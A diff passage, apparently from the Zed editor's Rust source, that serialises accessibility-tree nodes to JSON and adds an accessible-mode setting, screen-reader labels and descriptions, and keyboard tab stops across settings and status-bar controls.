+            let provenance = NodeProvenance::default();
+            let value = node_to_json(*id, node, &ephemeral, &provenance);
+            nodes.insert(key, value);
+        }
+
+        let frame = self.last_frame.as_ref().map(|frame| {
+            serde_json::json!({
+                "rendered_at": frame.rendered_at,
+                "frame_number": frame.frame_number,
+                "window_title": frame.window_title.as_ref().map(|title| title.to_string()),
+                "node_count": frame.node_count,
+                "tab_stop_count": frame.tab_stop_count,
+                "viewport_size": {
+                    "width": frame.viewport_size.width.0,
+                    "height": frame.viewport_size.height.0,
+                },
+                "scale_factor": frame.scale_factor,
+            })
+        });
+
+        let root = update
+            .tree
+            .as_ref()
+            .map(|tree| tree.root)
+            .and_then(|id| ephemeral.get(&id).cloned());
+
+        let value = serde_json::json!({
+            "root": root,
+            "gpui_focus": self.last_gpui_focus.and_then(|id| ephemeral.get(&id).cloned()),
+            "active_descendant_focus": self.last_active_descendant.and_then(|id| ephemeral.get(&id).cloned()),
+            "frame": frame,
+            "nodes": nodes,
+        });
+        Some(serde_json::to_string_pretty(&value).unwrap_or_else(|_| "{}".to_string()))
+    }
+}
+
+#[derive(Default)]
+struct NodeProvenance<'a> {
+    element_id: Option<&'a str>,
+    view: Option<&'a str>,
+    source_location: Option<String>,
+    synthetic: Option<bool>,
+}
+
+fn node_to_json(
+    id: NodeId,
+    node: &accesskit::Node,
+    ephemeral: &FxHashMap<NodeId, String>,
+    provenance: &NodeProvenance,
+) -> serde_json::Value {
+    use serde_json::json;
+
+    let mut map = serde_json::Map::new();
+    map.insert("accesskit_id".into(), json!(id.0.to_string()));
+
+    let children: Vec<String> = node
+        .children()
+        .iter()
+        .map(|child| {
+            ephemeral
+                .get(child)
+                .cloned()
+                .unwrap_or_else(|| child.0.to_string())
+        })
+        .collect();
+    if !children.is_empty() {
+        map.insert("children".into(), json!(children));
+    }
+
+    // Provenance (debug builds only), ordered before the accessibility section.
+    if let Some(element_id) = provenance.element_id {
+        map.insert("element_id".into(), json!(element_id));
+    }
+    if let Some(view) = provenance.view {
+        map.insert("view".into(), json!(view));
+    }
+    if let Some(source_location) = &provenance.source_location {
+        map.insert("source_location".into(), json!(source_location));
+    }
+    if let Some(synthetic) = provenance.synthetic {
+        map.insert("synthetic".into(), json!(synthetic));
+    }
+
+    // Accessibility semantics for this node, grouped together.
+    let mut aria = serde_json::Map::new();
+    aria.insert("role".into(), json!(format!("{:?}", node.role())));
+
+    // Which action types the node supports. AccessKit keeps these in a private
+    // bitset with no getter or iterator, so we probe each variant. `Action::n`
+    // (from AccessKit's `enumn` feature) maps a discriminant to its variant,
+    // returning `None` past the last one - so this can't drift out of sync with
+    // AccessKit's `Action` enum the way a hand-maintained list would.
+    let mut next_action = 0u8;
+    let on_action: Vec<String> = std::iter::from_fn(move || {
+        let action = Action::n(next_action)?;
+        next_action += 1;
+        Some(action)
+    })
+    .filter(|action| node.supports_action(*action))
+    .map(|action| format!("{action:?}"))
+    .collect();
+    if !on_action.is_empty() {
+        aria.insert("on_action".into(), json!(on_action));
+    }
+
+    // String properties.
+    if let Some(v) = node.label() {
+        aria.insert("label".into(), json!(v));
+    }
+    if let Some(v) = node.description() {
+        aria.insert("description".into(), json!(v));
+    }
+    if let Some(v) = node.value() {
+        aria.insert("value".into(), json!(v));
+    }
+    if let Some(v) = node.keyboard_shortcut() {
+        aria.insert("keyboard_shortcut".into(), json!(v));
+    }
+    if let Some(v) = node.access_key() {
+        aria.insert("access_key".into(), json!(v));
+    }
+    if let Some(v) = node.placeholder() {
+        aria.insert("placeholder".into(), json!(v));
+    }
+    if let Some(v) = node.tooltip() {
+        aria.insert("tooltip".into(), json!(v));
+    }
+    if let Some(v) = node.role_description() {
+        aria.insert("role_description".into(), json!(v));
+    }
+
+    // Boolean / enum states.
+    if let Some(v) = node.is_selected() {
+        aria.insert("selected".into(), json!(v));
+    }
+    if let Some(v) = node.is_expanded() {
+        aria.insert("expanded".into(), json!(v));
+    }
+    if let Some(v) = node.toggled() {
+        aria.insert("toggled".into(), json!(format!("{v:?}")));
+    }
+    if let Some(v) = node.orientation() {
+        aria.insert("orientation".into(), json!(format!("{v:?}")));
+    }
+
+    // Numeric properties.
+    if let Some(v) = node.numeric_value() {
+        aria.insert("numeric_value".into(), json!(v));
+    }
+    if let Some(v) = node.min_numeric_value() {
+        aria.insert("min_numeric_value".into(), json!(v));
+    }
+    if let Some(v) = node.max_numeric_value() {
+        aria.insert("max_numeric_value".into(), json!(v));
+    }
+    if let Some(v) = node.numeric_value_step() {
+        aria.insert("numeric_value_step".into(), json!(v));
+    }
+
+    // Set / table properties.
+    if let Some(v) = node.level() {
+        aria.insert("level".into(), json!(v));
+    }
+    if let Some(v) = node.position_in_set() {
+        aria.insert("position_in_set".into(), json!(v));
+    }
+    if let Some(v) = node.size_of_set() {
+        aria.insert("size_of_set".into(), json!(v));
+    }
+    if let Some(v) = node.row_index() {
+        aria.insert("row_index".into(), json!(v));
+    }
+    if let Some(v) = node.column_index() {
+        aria.insert("column_index".into(), json!(v));
+    }
+    if let Some(v) = node.row_count() {
+        aria.insert("row_count".into(), json!(v));
+    }
+    if let Some(v) = node.column_count() {
+        aria.insert("column_count".into(), json!(v));
+    }
+
+    map.insert("aria".into(), serde_json::Value::Object(aria));
+
+    serde_json::Value::Object(map)
+}
+
+/// Maps a 0-based index to a short id in the sequence `a, b, ..., z, aa, ab,
+/// ...` (bijective base-26).
+fn ephemeral_id(mut index: usize) -> String {
+    let mut bytes = Vec::new();
+    loop {
+        bytes.push(b'a' + (index % 26) as u8);
+        if index < 26 {
+            break;
+        }
+        index = index / 26 - 1;
+    }
+    bytes.reverse();
+    String::from_utf8(bytes).unwrap_or_default()
+}
diff --git a/crates/language_selector/src/active_buffer_language.rs b/crates/language_selector/src/active_buffer_language.rs
index e9e6dc82ffc096..4694aa813ddeda 100644
--- a/crates/language_selector/src/active_buffer_language.rs
+++ b/crates/language_selector/src/active_buffer_language.rs
@@ -53,8 +53,10 @@ impl Render for ActiveBufferLanguage {
             };
 
             el.child(
-                Button::new("change-language", active_language_text)
+                Button::new("change-language", active_language_text.clone())
                     .label_size(LabelSize::Small)
+                    .tab_index(0isize)
+                    .aria_label(format!("Language: {active_language_text}"))
                     .on_click(cx.listener(|this, _, window, cx| {
                         if let Some(workspace) = this.workspace.upgrade() {
                             workspace.update(cx, |workspace, cx| {
diff --git a/crates/language_tools/src/lsp_button.rs b/crates/language_tools/src/lsp_button.rs
index 625e48b0877768..bbc8683a2330bc 100644
--- a/crates/language_tools/src/lsp_button.rs
+++ b/crates/language_tools/src/lsp_button.rs
@@ -1415,6 +1415,8 @@ impl Render for LspButton {
                     IconButton::new("zed-lsp-tool-button", IconName::BoltOutlined)
                         .when_some(indicator, IconButton::indicator)
                         .icon_size(IconSize::Small)
+                        .tab_index(0isize)
+                        .aria_label("Language Servers")
                         .when(is_restricted, |s| s.icon_color(Color::Warning))
                         .indicator_border_color(Some(cx.theme().colors().status_bar_background)),
                     move |_window, cx| {
diff --git a/crates/line_ending_selector/src/line_ending_indicator.rs b/crates/line_ending_selector/src/line_ending_indicator.rs
index 419c63d0ac8fdf..cd97e1e54f824a 100644
--- a/crates/line_ending_selector/src/line_ending_indicator.rs
+++ b/crates/line_ending_selector/src/line_ending_indicator.rs
@@ -40,6 +40,7 @@ impl Render for LineEndingIndicator {
             el.child(
                 Button::new("change-line-ending", line_ending.label())
                     .label_size(LabelSize::Small)
+                    .tab_index(0isize)
                     .on_click(cx.listener(|this, _, window, cx| {
                         if let Some(editor) = this.active_editor.as_ref() {
                             LineEndingSelector::toggle(editor, window, cx);
diff --git a/crates/search/src/search_status_button.rs b/crates/search/src/search_status_button.rs
index a31121e2f05ad8..8f6e6fef32a698 100644
--- a/crates/search/src/search_status_button.rs
+++ b/crates/search/src/search_status_button.rs
@@ -30,6 +30,8 @@ impl Render for SearchButton {
         button.child(
             IconButton::new("project-search-indicator", SEARCH_ICON)
                 .icon_size(IconSize::Small)
+                .tab_index(0isize)
+                .aria_label("Project Search")
                 .tooltip(move |_window, cx| {
                     if let Some(focus_handle) = &focus_handle {
                         Tooltip::for_action_in(
diff --git a/crates/settings/src/vscode_import.rs b/crates/settings/src/vscode_import.rs
index 0d2f5511430a48..5829109797b6a0 100644
--- a/crates/settings/src/vscode_import.rs
+++ b/crates/settings/src/vscode_import.rs
@@ -1002,6 +1002,7 @@ impl VsCodeSettings {
     fn workspace_settings_content(&self) -> WorkspaceSettingsContent {
         WorkspaceSettingsContent {
             active_pane_modifiers: self.active_pane_modifiers(),
+            accessible_mode: None,
             text_rendering_mode: None,
             autosave: self.read_enum("files.autoSave", |s| match s {
                 "off" => Some(AutosaveSetting::Off),
diff --git a/crates/settings_content/src/workspace.rs b/crates/settings_content/src/workspace.rs
index c52cda911d4332..c51ce9a87ddff3 100644
--- a/crates/settings_content/src/workspace.rs
+++ b/crates/settings_content/src/workspace.rs
@@ -77,6 +77,11 @@ pub struct WorkspaceSettingsContent {
     ///
     /// Default: auto ("on" on macOS, "off" otherwise)
     pub when_closing_with_no_tabs: Option<CloseWindowWhenNoItems>,
+    /// Whether to optimize Zed's interface for assistive technology such as
+    /// screen readers.
+    ///
+    /// Default: false
+    pub accessible_mode: Option<bool>,
     /// Whether to use the system provided dialogs for Open and Save As.
     /// When set to false, Zed will use the built-in keyboard-first pickers.
     ///
diff --git a/crates/settings_ui/src/components/dropdown.rs b/crates/settings_ui/src/components/dropdown.rs
index ca2faa486d55cd..c3189129e93e74 100644
--- a/crates/settings_ui/src/components/dropdown.rs
+++ b/crates/settings_ui/src/components/dropdown.rs
@@ -20,6 +20,7 @@ where
     tab_index: Option<isize>,
     disabled: bool,
     aria_label: Option<SharedString>,
+    aria_description: Option<SharedString>,
     on_change: Rc<dyn Fn(T, &mut ui::Window, &mut App) + 'static>,
 }
 
@@ -43,6 +44,7 @@ where
             tab_index: None,
             disabled: false,
             aria_label: None,
+            aria_description: None,
             on_change: Rc::new(on_change),
         }
     }
@@ -68,6 +70,13 @@ where
         self.aria_label = Some(label.into());
         self
     }
+
+    /// Sets the supplementary description announced by assistive technology
+    /// after the combobox's name, role, and value (e.g. a setting subtitle).
+    pub fn aria_description(mut self, description: impl Into<SharedString>) -> Self {
+        self.aria_description = Some(description.into());
+        self
+    }
 }
 
 impl<T> RenderOnce for EnumVariantDropdown<T>
@@ -114,6 +123,9 @@ where
             context_menu,
         )
         .when_some(self.aria_label, |this, label| this.aria_label(label))
+        .when_some(self.aria_description, |this, description| {
+            this.aria_description(description)
+        })
         .disabled(self.disabled)
         .when_some(self.tab_index, |elem, tab_index| elem.tab_index(tab_index))
         .trigger_size(ButtonSize::Medium)
diff --git a/crates/settings_ui/src/components/input_field.rs b/crates/settings_ui/src/components/input_field.rs
index 81b98c14fcf4cb..155d98b7b0793c 100644
--- a/crates/settings_ui/src/components/input_field.rs
+++ b/crates/settings_ui/src/components/input_field.rs
@@ -25,6 +25,7 @@ pub struct SettingsInputField {
     action_slot: Option<AnyElement>,
     color: Option<Color>,
     aria_label: Option<SharedString>,
+    aria_description: Option<SharedString>,
 }
 
 impl SettingsInputField {
@@ -49,6 +50,7 @@ impl SettingsInputField {
             action_slot: None,
             color: None,
             aria_label: None,
+            aria_description: None,
         }
     }
 
@@ -116,6 +118,13 @@ impl SettingsInputField {
         self.aria_label = Some(label.into());
         self
     }
+
+    /// Sets the supplementary description announced by assistive technology
+    /// after the field's name, role, and value.
+    pub fn aria_description(mut self, description: impl Into<SharedString>) -> Self {
+        self.aria_description = Some(description.into());
+        self
+    }
 }
 
 impl RenderOnce for SettingsInputField {
@@ -211,6 +220,7 @@ impl RenderOnce for SettingsInputField {
         let aria_label = self
             .aria_label
             .or_else(|| self.placeholder.map(SharedString::new_static));
+        let aria_description = self.aria_description;
 
         let (a11y_value, a11y_text_runs) =
             text_field_a11y_state(self.id.clone(), &editor, window, cx);
@@ -221,6 +231,9 @@ impl RenderOnce for SettingsInputField {
             .id(self.id.clone())
             .role(Role::TextInput)
             .when_some(aria_label, |this, label| this.aria_label(label))
+            .when_some(aria_description, |this, description| {
+                this.aria_description(description)
+            })
             .aria_value(a11y_value)
             .when_some(self.placeholder, |this, placeholder| {
                 this.aria_placeholder(placeholder)
diff --git a/crates/settings_ui/src/components/number_field.rs b/crates/settings_ui/src/components/number_field.rs
index 011c517e95c532..00201047406144 100644
--- a/crates/settings_ui/src/components/number_field.rs
+++ b/crates/settings_ui/src/components/number_field.rs
@@ -275,6 +275,7 @@ pub struct NumberField<T: NumberFieldType = usize> {
     on_change: Rc<dyn Fn(&T, &mut Window, &mut App) + 'static>,
     tab_index: Option<isize>,
     aria_label: Option<SharedString>,
+    aria_description: Option<SharedString>,
 }
 
 impl<T: NumberFieldType> NumberField<T> {
@@ -316,6 +317,7 @@ impl<T: NumberFieldType> NumberField<T> {
             on_change: Rc::new(|_, _, _| {}),
             tab_index: None,
             aria_label: None,
+            aria_description: None,
         }
     }
 
@@ -350,6 +352,13 @@ impl<T: NumberFieldType> NumberField<T> {
         self
     }
 
+    /// Sets the supplementary description announced by assistive technology
+    /// after the field's name, role, and value.
+    pub fn aria_description(mut self, description: impl Into<SharedString>) -> Self {
+        self.aria_description = Some(description.into());
+        self
+    }
+
     fn sync_on_change_state(&self, cx: &mut App) {
         self.on_change_state
             .update(cx, |state, _| *state = Some(self.on_change.clone()));
@@ -522,6 +531,9 @@ impl<T: NumberFieldType> RenderOnce for NumberField<T> {
             .when_some(self.aria_label.clone(), |this, label| {
                 this.aria_label(label)
             })
+            .when_some(self.aria_description.clone(), |this, description| {
+                this.aria_description(description)
+            })
             .when_some(a11y_numeric_value(&self.value), |this, value| {
                 this.aria_numeric_value(value)
             })
@@ -774,6 +786,10 @@ impl<T: NumberFieldType> RenderOnce for NumberField<T> {
                                         .when_some(self.aria_label.clone(), |this, label| {
                                             this.aria_label(label)
                                         })
+                                        .when_some(
+                                            self.aria_description.clone(),
+                                            |this, description| this.aria_description(description),
+                                        )
                                         .flex_1()
                                         .h_full()
                                         .track_focus(&focus_handle)
diff --git a/crates/settings_ui/src/components/ollama_model_picker.rs b/crates/settings_ui/src/components/ollama_model_picker.rs
index 46cb38f0fec1d4..c8d4263862d255 100644
--- a/crates/settings_ui/src/components/ollama_model_picker.rs
+++ b/crates/settings_ui/src/components/ollama_model_picker.rs
@@ -160,6 +160,8 @@ pub fn render_ollama_model_picker(
     field: SettingField<settings::OllamaModelName>,
     file: SettingsUiFile,
     _metadata: Option<&SettingsFieldMetadata>,
+    title: &'static str,
+    description: &'static str,
     _window: &mut Window,
     cx: &mut App,
 ) -> AnyElement {
@@ -168,15 +170,20 @@ pub fn render_ollama_model_picker(
         .map(|m| m.0.clone().into())
         .unwrap_or_else(|| "".into());
 
+    let trigger_value: SharedString = if current_value.is_empty() {
+        "Select a model…".into()
+    } else {
+        current_value.clone()
+    };
+
     PopoverMenu::new("ollama-model-picker")
-        .trigger(render_picker_trigger_button(
-            "ollama_model_picker_trigger".into(),
-            if current_value.is_empty() {
-                "Select a model…".into()
-            } else {
-                current_value.clone()
-            },
-        ))
+        .trigger(
+            render_picker_trigger_button("ollama_model_picker_trigger".into(), trigger_value)
+                .aria_label(title)
+                .when(!description.is_empty(), |this| {
+                    this.aria_description(description)
+                }),
+        )
         .menu(move |window, cx| {
             Some(cx.new(|cx| {
                 let file = file.clone();
diff --git a/crates/settings_ui/src/page_data.rs b/crates/settings_ui/src/page_data.rs
index 2f6ce0beec5b3d..0cb49694cb1ee2 100644
--- a/crates/settings_ui/src/page_data.rs
+++ b/crates/settings_ui/src/page_data.rs
@@ -139,6 +139,20 @@ fn general_page(cx: &App) -> SettingsPage {
     fn general_settings_section(_cx: &App) -> Vec<SettingsPageItem> {
         vec![
             SettingsPageItem::SectionHeader("General Settings"),
+            SettingsPageItem::SettingItem(SettingItem {
+                title: "Accessible Mode",
+                description: "Optimize Zed's interface for assistive technology such as screen readers. When enabled, otherwise-collapsed controls stay expanded and keyboard-reachable.",
+                field: Box::new(SettingField {
+                    organization_override: None,
+                    json_path: Some("accessible_mode"),
+                    pick: |settings_content| settings_content.workspace.accessible_mode.as_ref(),
+                    write: |settings_content, value, _| {
+                        settings_content.workspace.accessible_mode = value;
+                    },
+                }),
+                metadata: None,
+                files: USER,
+            }),
             SettingsPageItem::SettingItem(SettingItem {
                 title: "When Closing With No Tabs",
                 description: "What to do when using the 'close active item' action with no tabs.",
diff --git a/crates/settings_ui/src/pages/audio_input_output_setup.rs b/crates/settings_ui/src/pages/audio_input_output_setup.rs
index 5730dd6fa29558..3381792d32abb0 100644
--- a/crates/settings_ui/src/pages/audio_input_output_setup.rs
+++ b/crates/settings_ui/src/pages/audio_input_output_setup.rs
@@ -3,7 +3,7 @@ use cpal::DeviceId;
 use gpui::{AnyElement, App, ElementId, ReadGlobal, SharedString, Window};
 use settings::{AudioInputDeviceName, AudioOutputDeviceName, SettingsStore};
 use std::str::FromStr;
-use ui::{ContextMenu, DropdownMenu, DropdownStyle, IconPosition, IntoElement};
+use ui::{ContextMenu, DropdownMenu, DropdownStyle, FluentBuilder, IconPosition, IntoElement};
 use util::ResultExt;
 
 use crate::{SettingField, SettingsFieldMetadata, SettingsUiFile, update_settings_file};
@@ -29,6 +29,8 @@ pub(crate) fn render_audio_device_dropdown<F>(
     current_device_id: Option<DeviceId>,
     is_input: bool,
     on_select: F,
+    aria_label: Option<SharedString>,
+    aria_description: Option<SharedString>,
     window: &mut Window,
     cx: &mut App,
 ) -> AnyElement
@@ -89,6 +91,10 @@ where
     )
     .style(DropdownStyle::Outlined)
     .full_width(true)
+    .when_some(aria_label, |this, label| this.aria_label(label))
+    .when_some(aria_description, |this, description| {
+        this.aria_description(description)
+    })
     .into_any_element()
 }
 
@@ -96,6 +102,8 @@ fn render_settings_audio_device_dropdown<T: AsRef<Option<String>> + From<Option<
     field: SettingField<T>,
     file: SettingsUiFile,
     is_input: bool,
+    title: &'static str,
+    description: &'static str,
     window: &mut Window,
     cx: &mut App,
 ) -> AnyElement {
@@ -127,6 +135,8 @@ fn render_settings_audio_device_dropdown<T: AsRef<Option<String>> + From<Option<
             )
             .log_err();
         },
+        Some(SharedString::new_static(title)),
+        (!description.is_empty()).then(|| SharedString::new_static(description)),
         window,
         cx,
     )
@@ -136,18 +146,22 @@ pub fn render_input_audio_device_dropdown(
     field: SettingField<AudioInputDeviceName>,
     file: SettingsUiFile,
     _metadata: Option<&SettingsFieldMetadata>,
+    title: &'static str,
+    description: &'static str,
     window: &mut Window,
     cx: &mut App,
 ) -> AnyElement {
-    render_settings_audio_device_dropdown(field, file, true, window, cx)
+    render_settings_audio_device_dropdown(field, file, true, title, description, window, cx)
 }
 
 pub fn render_output_audio_device_dropdown(
     field: SettingField<AudioOutputDeviceName>,
     file: SettingsUiFile,
     _metadata: Option<&SettingsFieldMetadata>,
+    title: &'static str,
+    description: &'static str,
     window: &mut Window,
     cx: &mut App,
 ) -> AnyElement {
-    render_settings_audio_device_dropdown(field, file, false, window, cx)
+    render_settings_audio_device_dropdown(field, file, false, title, description, window, cx)
 }
diff --git a/crates/settings_ui/src/pages/audio_test_window.rs b/crates/settings_ui/src/pages/audio_test_window.rs
index d50d017d7abde8..060a1c0d352cf0 100644
--- a/crates/settings_ui/src/pages/audio_test_window.rs
+++ b/crates/settings_ui/src/pages/audio_test_window.rs
@@ -171,6 +171,8 @@ impl Render for AudioTestWindow {
                     )
                     .log_err();
                 },
+                None,
+                None,
                 window,
                 cx,
             )
@@ -200,6 +202,8 @@ impl Render for AudioTestWindow {
                 )
                 .log_err();
             },
+            None,
+            None,
             window,
             cx,
         );
diff --git a/crates/settings_ui/src/settings_ui.rs b/crates/settings_ui/src/settings_ui.rs
index 96ebc5f34c76f2..45901486a18187 100644
--- a/crates/settings_ui/src/settings_ui.rs
+++ b/crates/settings_ui/src/settings_ui.rs
@@ -15,7 +15,6 @@ use gpui::{
     WindowBounds, WindowHandle, WindowOptions, actions, div, list, point, prelude::*, px,
     uniform_list,
 };
-use heck::ToTitleCase as _;
 
 use language::Buffer;
 use platform_title_bar::PlatformTitleBar;
@@ -312,6 +311,8 @@ impl SettingFieldRenderer {
             SettingField<T>,
             SettingsUiFile,
             Option<&SettingsFieldMetadata>,
+            &'static str,
+            &'static str,
             &mut Window,
             &mut App,
         ) -> AnyElement
@@ -326,14 +327,16 @@ impl SettingFieldRenderer {
                   sub_field: bool,
                   window: &mut Window,
                   cx: &mut Context<SettingsWindow>| {
-                render_settings_item(
-                    settings_window,
-                    item,
+                let control = render_control(
+                    field,
                     settings_file.clone(),
-                    render_control(field, settings_file, metadata, window, cx),
-                    sub_field,
+                    metadata,
+                    item.title,
+                    item.description,
+                    window,
                     cx,
-                )
+                );
+                render_settings_item(settings_window, item, settings_file, control, sub_field, cx)
             },
         )
     }
@@ -1384,10 +1387,12 @@ fn render_settings_item_layout(
     sub_field: bool,
     cx: &mut Context<'_, SettingsWindow>,
 ) -> Stateful<Div> {
+    // Note: the row itself is intentionally not exposed as a labeled group.
+    // Each control names and describes itself (via the setting title and
+    // description), so adding a group with the same label here would make
+    // screen readers announce the setting name twice.
     h_flex()
         .id(title)
-        .role(Role::Group)
-        .aria_label(SharedString::new_static(title))
         .min_w_0()
         .justify_between()
         .child(
@@ -4804,10 +4809,6 @@ fn update_project_setting_file(
 
 /// Derives a human-readable label for assistive technology from a setting's
 /// JSON path, e.g. `"buffer_font_size"` becomes `"Buffer Font Size"`.
-fn a11y_label_for_json_path(json_path: Option<&'static str>) -> Option<SharedString> {
-    json_path.map(|path| SharedString::from(path.to_title_case()))
-}
-
 struct CurrentSettingsValue<'a, T> {
     value: &'a T,
     disabled: bool,
@@ -4839,6 +4840,8 @@ fn render_text_field<T: From<String> + Into<String> + AsRef<str> + Clone>(
     field: SettingField<T>,
     file: SettingsUiFile,
     metadata: Option<&SettingsFieldMetadata>,
+    title: &'static str,
+    description: &'static str,
     _window: &mut Window,
     cx: &mut App,
 ) -> AnyElement {
@@ -4860,10 +4863,10 @@ fn render_text_field<T: From<String> + Into<String> + AsRef<str> + Clone>(
     // it a stable, collision-free element ID within the page.
     SettingsInputField::new(field.json_path.unwrap_or("settings-text-field"))
         .tab_index(0)
-        .when_some(
-            a11y_label_for_json_path(field.json_path),
-            |editor, label| editor.aria_label(label),
-        )
+        .aria_label(title)
+        .when(!description.is_empty(), |editor| {
+            editor.aria_description(description)
+        })
         .when_some(initial_text, |editor, text| editor.with_initial_text(text))
         .when_some(
             metadata.and_then(|metadata| metadata.placeholder),
@@ -4902,6 +4905,8 @@ fn render_toggle_button<B: Into<bool> + From<bool> + Copy>(
     field: SettingField<B>,
     file: SettingsUiFile,
     _metadata: Option<&SettingsFieldMetadata>,
+    title: &'static str,
+    description: &'static str,
     _window: &mut Window,
     cx: &mut App,
 ) -> AnyElement {
@@ -4918,8 +4923,9 @@ fn render_toggle_button<B: Into<bool> + From<bool> + Copy>(
 
     Switch::new("toggle_button", toggle_state)
         .tab_index(0_isize)
-        .when_some(a11y_label_for_json_path(field.json_path), |this, label| {
-            this.aria_label(label)
+        .aria_label(title)
+        .when(!description.is_empty(), |this| {
+            this.aria_description(description)
         })
         .disabled(disabled)
         .on_click({
@@ -4940,6 +4946,8 @@ fn render_editable_number_field<T: NumberFieldType + Send + Sync>(
     field: SettingField<T>,
     file: SettingsUiFile,
     _metadata: Option<&SettingsFieldMetadata>,
+    title: &'static str,
+    description: &'static str,
     window: &mut Window,
     cx: &mut App,
 ) -> AnyElement {
@@ -4954,8 +4962,9 @@ fn render_editable_number_field<T: NumberFieldType + Send + Sync>(
     NumberField::new(id, value, window, cx)
         .mode(NumberFieldMode::Edit, cx)
         .tab_index(0_isize)
-        .when_some(a11y_label_for_json_path(field.json_path), |this, label| {
-            this.aria_label(label)
+        .aria_label(title)
+        .when(!description.is_empty(), |this| {
+            this.aria_description(description)
         })
         .on_change({
             move |value, window, cx| {
@@ -4979,6 +4988,8 @@ fn render_dropdown<T>(
     field: SettingField<T>,
     file: SettingsUiFile,
     metadata: Option<&SettingsFieldMetadata>,
+    title: &'static str,
+    description: &'static str,
     _window: &mut Window,
     cx: &mut App,
 ) -> AnyElement
@@ -5013,8 +5024,9 @@ where
             .log_err(); // todo(settings_ui) don't log err
         }
     })
-    .when_some(a11y_label_for_json_path(field.json_path), |this, label| {
-        this.aria_label(label)
+    .aria_label(title)
+    .when(!description.is_empty(), |this| {
+        this.aria_description(description)
     })
     .disabled(disabled)
     .tab_index(0)
@@ -5057,6 +5069,8 @@ fn render_font_picker(
     field: SettingField<settings::FontFamilyName>,
     file: SettingsUiFile,
     _metadata: Option<&SettingsFieldMetadata>,
+    title: &'static str,
+    description: &'static str,
     _window: &mut Window,
     cx: &mut App,
 ) -> AnyElement {
@@ -5073,8 +5087,9 @@ fn render_font_picker(
                 "font_family_picker_trigger".into(),
                 current_value.clone(),
             )
-            .when_some(a11y_label_for_json_path(field.json_path), |this, label| {
-                this.aria_label(format!("{}: {}", label, current_value.clone()))
+            .aria_label(title)
+            .when(!description.is_empty(), |this| {
+                this.aria_description(description)
             }),
             handle.clone(),
         ))
@@ -5115,6 +5130,8 @@ fn render_theme_picker(
     field: SettingField<settings::ThemeName>,
     file: SettingsUiFile,
     _metadata: Option<&SettingsFieldMetadata>,
+    title: &'static str,
+    description: &'static str,
     _window: &mut Window,
     cx: &mut App,
 ) -> AnyElement {
@@ -5128,8 +5145,9 @@ fn render_theme_picker(
     PopoverMenu::new("theme-picker")
         .trigger(wire_picker_trigger_a11y(
             render_picker_trigger_button("theme_picker_trigger".into(), current_value.clone())
-                .when_some(a11y_label_for_json_path(field.json_path), |this, label| {
-                    this.aria_label(format!("{}: {}", label, current_value.clone()))
+                .aria_label(title)
+                .when(!description.is_empty(), |this| {
+                    this.aria_description(description)
                 }),
             handle.clone(),
         ))
@@ -5173,6 +5191,8 @@ fn render_icon_theme_picker(
     field: SettingField<settings::IconThemeName>,
     file: SettingsUiFile,
     _metadata: Option<&SettingsFieldMetadata>,
+    title: &'static str,
+    description: &'static str,
     _window: &mut Window,
     cx: &mut App,
 ) -> AnyElement {
@@ -5186,8 +5206,9 @@ fn render_icon_theme_picker(
     PopoverMenu::new("icon-theme-picker")
         .trigger(wire_picker_trigger_a11y(
             render_picker_trigger_button("icon_theme_picker_trigger".into(), current_value.clone())
-                .when_some(a11y_label_for_json_path(field.json_path), |this, label| {
-                    this.aria_label(format!("{}: {}", label, current_value.clone()))
+                .aria_label(title)
+                .when(!description.is_empty(), |this| {
+                    this.aria_description(description)
                 }),
             handle.clone(),
         ))
diff --git a/crates/title_bar/src/application_menu.rs b/crates/title_bar/src/application_menu.rs
index 5429686ebde63a..369f232441a6ec 100644
--- a/crates/title_bar/src/application_menu.rs
+++ b/crates/title_bar/src/application_menu.rs
@@ -1,5 +1,6 @@
-use gpui::{Action, Entity, OwnedMenu, OwnedMenuItem, actions};
-use settings::Settings;
+use gpui::{Action, Entity, OwnedMenu, OwnedMenuItem, Subscription, actions};
+use settings::{Settings, SettingsStore};
+use workspace::AccessibleMode;
 
 use schemars::JsonSchema;
 use serde::Deserialize;
@@ -45,11 +46,15 @@ struct MenuEntry {
 pub struct ApplicationMenu {
     entries: SmallVec<[MenuEntry; 8]>,
     pending_menu_open: Option<String>,
+    _settings_subscription: Subscription,
 }
 
 impl ApplicationMenu {
     pub fn new(_: &mut Window, cx: &mut Context<Self>) -> Self {
         let menus = cx.get_menus().unwrap_or_default();
+        // Re-render when settings change so toggling "accessible mode" expands or
+        // collapses the menu bar (see `all_menus_shown`).
+        let settings_subscription = cx.observe_global::<SettingsStore>(|_, cx| cx.notify());
         Self {
             entries: menus
                 .into_iter()
@@ -59,6 +64,7 @@ impl ApplicationMenu {
                 })
                 .collect(),
             pending_menu_open: None,
+            _settings_subscription: settings_subscription,
         }
     }
 
@@ -168,6 +174,7 @@ impl ApplicationMenu {
                         )
                         .style(ButtonStyle::Subtle)
                         .icon_size(IconSize::Small)
+                        .tab_index(0isize)
                         .aria_label("Application menu"),
                         Tooltip::text("Open Application Menu"),
                     )
@@ -201,7 +208,8 @@ impl ApplicationMenu {
                             menu_name,
                         )
                         .style(ButtonStyle::Subtle)
-                        .label_size(LabelSize::Small),
+                        .label_size(LabelSize::Small)
+                        .tab_index(0isize),
                     )
                     .with_handle(current_handle.clone()),
             )
@@ -238,6 +246,12 @@ impl ApplicationMenu {
             .iter()
             .position(|entry| entry.handle.is_deployed());
         let Some(current_index) = current_index else {
+            // No menu is open, so there is nothing to switch between. Let the
+            // arrow key continue to the title bar's toolbar navigation so it
+            // can move focus between title bar controls. Without this, the
+            // `left`/`right` bindings in the `ApplicationMenu` context would
+            // silently swallow the key as a no-op.
+            cx.propagate();
             return;
         };
 
@@ -269,6 +283,9 @@ impl ApplicationMenu {
         show_menus(cx)
             || self.entries.iter().any(|entry| entry.handle.is_deployed())
             || self.pending_menu_open.is_some()
+            // In accessible mode, keep the full menu bar expanded so every menu
+            // is individually reachable and labeled for assistive technology.
+            || cx.accessible_mode()
     }
 }
 
diff --git a/crates/title_bar/src/title_bar.rs b/crates/title_bar/src/title_bar.rs
index 8ccc710dbf80a0..f7ccc57ae3ad38 100644
--- a/crates/title_bar/src/title_bar.rs
+++ b/crates/title_bar/src/title_bar.rs
@@ -52,7 +52,7 @@ use ui::{
 use update_version::UpdateVersion;
 use util::ResultExt;
 use workspace::{
-    MultiWorkspace, ToggleWorktreeSecurity, Workspace,
+    AccessibleMode, MultiWorkspace, ToggleWorktreeSecurity, Workspace,
     notifications::{NotifyResultExt, NotifyTaskExt as _},
 };
 
@@ -300,8 +300,13 @@ impl Render for TitleBar {
                         .when_some(
                             self.application_menu.clone().filter(|_| !show_menus),
